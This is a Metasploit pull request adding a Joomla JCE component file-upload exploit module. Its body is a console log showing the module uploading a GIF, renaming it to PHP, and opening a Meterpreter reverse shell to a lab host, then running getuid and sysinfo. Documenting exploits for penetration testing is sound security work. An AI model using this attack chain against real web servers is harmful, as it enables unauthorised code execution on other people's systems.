rapid7/metasploit-framework — pull request #1626 by heyder (2013-03-22 13:45:09+00:00)
Title: add Joomla Component JCE File Upload Code Execution

msf exploit(joomla_comjce_imgmanager) > exploit

[*] Started reverse handler on 172.16.86.1:4444
[*] Checking component version to 172.16.86.133:80
[+] Successfully uploaded uatfwy.gif
[*] Change Extension from uatfwy.gif to uatfwy.php
[+] Renamed uatfwy.gif to uatfwy.php
[*] Calling payload: uatfwy.php
[*] Sending stage (39217 bytes) to 172.16.86.133
[*] Meterpreter session 2 opened (172.16.86.1:4444 -> 172.16.86.133:35854) at Fri Mar 22 08:45:48 -0300 2013

meterpreter > getuid
Server username: www-data (33)
meterpreter > sysinfo
OS : Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686
Computer : bt
Meterpreter : php/php
meterpreter >